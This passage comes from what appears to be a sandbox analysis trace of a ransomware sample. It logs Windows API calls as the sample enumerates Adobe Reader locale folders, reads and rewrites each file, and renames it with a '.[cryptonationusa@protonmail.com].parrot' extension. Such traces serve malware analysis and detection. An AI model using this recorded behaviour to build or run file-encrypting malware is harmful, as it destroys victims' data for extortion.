hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.883] WriteFile (in: hFile=0x1b0, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18e8f4*=0x100000, lpOverlapped=0x0) returned 1 [0254.892] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x144d18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0254.892] CloseHandle (hObject=0x1b0) returned 1 [0254.892] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\RdLang32.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\rdlang32.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\RdLang32.SUO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\rdlang32.suo.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0254.896] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x331e758 | out: hHeap=0x5b0000) returned 1 [0254.898] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0254.900] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0254.922] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0254.922] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0254.926] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.926] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2a00, lpOverlapped=0x0) returned 1 [0254.927] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.928] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\ReadOutLoud.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\readoutloud.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\ReadOutLoud.SUO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\readoutloud.suo.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0254.931] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x331e758 | out: hHeap=0x5b0000) returned 1 [0254.931] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0254.931] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0254.933] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0254.933] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0254.935] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.935] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1200, lpOverlapped=0x0) returned 1 [0254.936] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.936] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\reflow.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\reflow.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\reflow.SUO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\reflow.suo.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0254.939] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e130 | out: hHeap=0x5b0000) returned 1 [0254.939] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0254.939] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e550 | out: hHeap=0x5b0000) returned 1 [0254.941] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0254.941] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0254.942] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.942] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4800, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x4800, lpOverlapped=0x0) returned 1 [0254.943] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.944] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\SaveAsRTF.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\saveasrtf.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\SaveAsRTF.SUO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\saveasrtf.suo.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0254.949] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x331e758 | out: hHeap=0x5b0000) returned 1 [0254.949] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0254.949] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x332a688 | out: hHeap=0x5b0000) returned 1 [0254.951] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0254.951] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0254.952] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.952] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x5a00, lpOverlapped=0x0) returned 1 [0254.953] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.954] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Search.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\search.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Search.SUO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\search.suo.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0254.956] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e130 | out: hHeap=0x5b0000) returned 1 [0254.956] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0254.956] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x332a688 | out: hHeap=0x5b0000) returned 1 [0254.958] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0254.958] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0254.959] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.959] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x3c00, lpOverlapped=0x0) returned 1 [0254.960] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.961] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\SendMail.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\sendmail.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\SendMail.SUO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\sendmail.suo.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0255.010] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x331e758 | out: hHeap=0x5b0000) returned 1 [0255.010] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0255.010] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0255.012] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Services\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0255.014] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0255.014] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.015] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0255.015] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0255.015] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9299, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0255.015] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0255.015] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0255.017] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.017] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9299, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x9299, lpOverlapped=0x0) returned 1 [0255.018] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.019] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\services\\dexshare.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Services\\DEXShare.asfx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\services\\dexshare.asfx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0255.023] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22f7550 | out: hHeap=0x5b0000) returned 1 [0255.023] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0255.023] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32a6588 | out: hHeap=0x5b0000) returned 1 [0255.027] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0255.027] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0255.028] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.028] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe1, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xe1, lpOverlapped=0x0) returned 1 [0255.028] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.029] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\services\\services.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Services\\Services.asfx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\services\\services.asfx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0255.033] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22f7550 | out: hHeap=0x5b0000) returned 1 [0255.033] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0255.033] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22d6080 | out: hHeap=0x5b0000) returned 1 [0255.034] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Services\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0255.035] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x24052060, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x24052060, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.035] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x2402bf00, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x93b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="DEXSHA~1.PAR")) returned 1 [0255.036] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0255.036] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0255.037] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.037] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2a00, lpOverlapped=0x0) returned 1 [0255.038] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.039] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Spelling.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\spelling.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Spelling.SUO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\spelling.suo.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0255.042] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x331e758 | out: hHeap=0x5b0000) returned 1 [0255.042] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0255.042] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3338650 | out: hHeap=0x5b0000) returned 1 [0255.044] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0255.044] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0255.046] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.046] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2800, lpOverlapped=0x0) returned 1 [0255.047] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.048] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\updater.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\updater.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\updater.SUO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\updater.suo.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0255.051] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x331e758 | out: hHeap=0x5b0000) returned 1 [0255.051] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0255.051] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3338650 | out: hHeap=0x5b0000) returned 1 [0255.053] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0255.053] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0255.055] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.055] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x6a00, lpOverlapped=0x0) returned 1 [0255.056] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.056] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Weblink.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\weblink.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Weblink.SUO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\weblink.suo.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0255.060] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x331e758 | out: hHeap=0x5b0000) returned 1 [0255.060] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0255.060] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0255.064] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0255.064] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x2409e320, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x2409e320, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.065] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x23aaac20, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0xa728, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.SUO.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ACCESS~1.PAR")) returned 1 [0255.066] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0255.068] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0255.068] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f824e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f824e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.068] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0255.068] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0255.068] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, 